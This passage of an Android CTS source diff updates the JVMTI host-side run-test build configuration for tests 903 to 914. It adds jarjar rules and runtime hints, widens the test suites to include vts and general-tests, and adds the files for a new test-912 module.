--- a/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest903HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest903DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_903" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-903/app/Android.mk b/hostsidetests/jvmti/run-tests/test-903/app/Android.mk
index a501186..08a8f4e 100644
--- a/hostsidetests/jvmti/run-tests/test-903/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-903/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-903/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-903/jarjar-rules.txt
new file mode 100644
index 0000000..f1a253e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-903/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest903@1
diff --git a/hostsidetests/jvmti/run-tests/test-904/Android.mk b/hostsidetests/jvmti/run-tests/test-904/Android.mk
index b814acb..fa9a94e 100644
--- a/hostsidetests/jvmti/run-tests/test-904/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-904/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest904HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
index 7a8a700..577c202 100644
--- a/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest904HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest904DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_904" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-904/app/Android.mk b/hostsidetests/jvmti/run-tests/test-904/app/Android.mk
index 83f0efc..1805c35 100644
--- a/hostsidetests/jvmti/run-tests/test-904/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-904/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-904/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-904/jarjar-rules.txt
new file mode 100644
index 0000000..e2fe6f33
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-904/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest904@1
diff --git a/hostsidetests/jvmti/run-tests/test-905/Android.mk b/hostsidetests/jvmti/run-tests/test-905/Android.mk
index 9e58b9b..97678be 100644
--- a/hostsidetests/jvmti/run-tests/test-905/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-905/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest905HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
index 87bac7e..96ef377 100644
--- a/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest905HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest905DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_905" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-905/app/Android.mk b/hostsidetests/jvmti/run-tests/test-905/app/Android.mk
index 662ea5f..082dd05 100644
--- a/hostsidetests/jvmti/run-tests/test-905/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-905/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-905/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-905/jarjar-rules.txt
new file mode 100644
index 0000000..9b0c5aa
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-905/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest905@1
diff --git a/hostsidetests/jvmti/run-tests/test-906/Android.mk b/hostsidetests/jvmti/run-tests/test-906/Android.mk
index 553b898..7b6e063 100644
--- a/hostsidetests/jvmti/run-tests/test-906/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-906/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest906HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
index 37d2fe0..217c127 100644
--- a/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest906HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest906DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_906" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-906/app/Android.mk b/hostsidetests/jvmti/run-tests/test-906/app/Android.mk
index f383007..0a1b017 100644
--- a/hostsidetests/jvmti/run-tests/test-906/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-906/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-906/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-906/jarjar-rules.txt
new file mode 100644
index 0000000..9e40985
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-906/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest906@1
diff --git a/hostsidetests/jvmti/run-tests/test-907/Android.mk b/hostsidetests/jvmti/run-tests/test-907/Android.mk
index cf79d0b..a64d940 100644
--- a/hostsidetests/jvmti/run-tests/test-907/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-907/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest907HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
index e9948e7..f6662a9 100644
--- a/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest907HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest907DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_907" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-907/app/Android.mk b/hostsidetests/jvmti/run-tests/test-907/app/Android.mk
index 3ecb219..4cc8de3 100644
--- a/hostsidetests/jvmti/run-tests/test-907/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-907/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-907/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-907/jarjar-rules.txt
new file mode 100644
index 0000000..9c6b06f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-907/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest907@1
diff --git a/hostsidetests/jvmti/run-tests/test-908/Android.mk b/hostsidetests/jvmti/run-tests/test-908/Android.mk
index 40ef837..a4a3716 100644
--- a/hostsidetests/jvmti/run-tests/test-908/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-908/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest908HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
index 3298b96..94cc519 100644
--- a/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest908HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest908DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_908" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-908/app/Android.mk b/hostsidetests/jvmti/run-tests/test-908/app/Android.mk
index c4eea2e..f4e077c 100644
--- a/hostsidetests/jvmti/run-tests/test-908/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-908/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-908/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-908/jarjar-rules.txt
new file mode 100644
index 0000000..7915bff
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-908/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest908@1
diff --git a/hostsidetests/jvmti/run-tests/test-910/Android.mk b/hostsidetests/jvmti/run-tests/test-910/Android.mk
index 8cfe0a5..dc913dd 100644
--- a/hostsidetests/jvmti/run-tests/test-910/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-910/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest910HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
index 6fded28..efefdf6 100644
--- a/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest910HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest910DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_910" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-910/app/Android.mk b/hostsidetests/jvmti/run-tests/test-910/app/Android.mk
index 108682a..c9c903f 100644
--- a/hostsidetests/jvmti/run-tests/test-910/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-910/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-910/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-910/jarjar-rules.txt
new file mode 100644
index 0000000..2856a08
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-910/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest910@1
diff --git a/hostsidetests/jvmti/run-tests/test-911/Android.mk b/hostsidetests/jvmti/run-tests/test-911/Android.mk
index 0906b99..10d15fd 100644
--- a/hostsidetests/jvmti/run-tests/test-911/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-911/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest911HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
index 6947ae4..c6a4565 100644
--- a/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest911HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest911DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_911" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-911/app/Android.mk b/hostsidetests/jvmti/run-tests/test-911/app/Android.mk
index d5d70d2..9441ad5 100644
--- a/hostsidetests/jvmti/run-tests/test-911/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-911/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-911/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-911/jarjar-rules.txt
new file mode 100644
index 0000000..676e1db
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-911/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest911@1
diff --git a/hostsidetests/jvmti/run-tests/test-912/Android.mk b/hostsidetests/jvmti/run-tests/test-912/Android.mk
new file mode 100644
index 0000000..6ec22d7
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/Android.mk
@@ -0,0 +1,27 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest912HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml
new file mode 100644
index 0000000..7cb82f0
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+ <option name="config-descriptor:metadata" key="component" value="art" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsJvmtiRunTest912DeviceApp.apk" />
+ </target_preparer>
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsJvmtiRunTest912HostTestCases.jar" />
+ <option name="set-option" value="test-file-name:CtsJvmtiRunTest912DeviceApp.apk" />
+ <option name="set-option" value="package-name:android.jvmti.cts.run_test_912" />
+ <option name="runtime-hint" value="8s"/>
+ </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-912/app/Android.mk b/hostsidetests/jvmti/run-tests/test-912/app/Android.mk
new file mode 100644
index 0000000..dad7eeb
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest912DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml
new file mode 100644
index 0000000..d689692
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.jvmti.cts.run_test_912">
+
+ <application android:debuggable="true">
+ <uses-library android:name="android.test.runner" />
+ <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="912" />
+ <activity android:name="android.jvmti.JvmtiActivity" >
+ </activity>
+ </application>
+
+ <!-- self-instrumenting test package. -->
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:label="CTS tests for JVMTI"
+ android:targetPackage="android.jvmti.cts.run_test_912" >
+ </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-912/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-912/jarjar-rules.txt
new file mode 100644
index 0000000..357b05e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest912@1
diff --git a/hostsidetests/jvmti/run-tests/test-913/Android.mk b/hostsidetests/jvmti/run-tests/test-913/Android.mk
index 8075fe2..d54985d 100644
--- a/hostsidetests/jvmti/run-tests/test-913/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-913/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest913HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
index 7655d03..7dff2cf 100644
--- a/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest913HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest913DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_913" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/Android.mk b/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
index 03cb328..a43ad90 100644
--- a/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt
new file mode 100644
index 0000000..735418d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest913@1
diff --git a/hostsidetests/jvmti/run-tests/test-914/Android.mk b/hostsidetests/jvmti/run-tests/test-914/Android.mk
index 5f7ddee..51b1022 100644
--- a/hostsidetests/jvmti/run-tests/test-914/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-914/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest914HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
index 15e58ee..f6ca1e7 100644
--- a/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest914HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest914DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_914" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-914/app/Android.mk b/hostsidetests/jvmti/run-tests/test-914/app/Android.mk
index c294d56..3b3d7bf 100644
--- a/hostsidetests/jvmti/run-tests/test-914/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-914/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-914/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-914/jarjar-rules.txt
new file mode 100644
index 0000000..db77ad0
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-914/jarjar-rules.txt
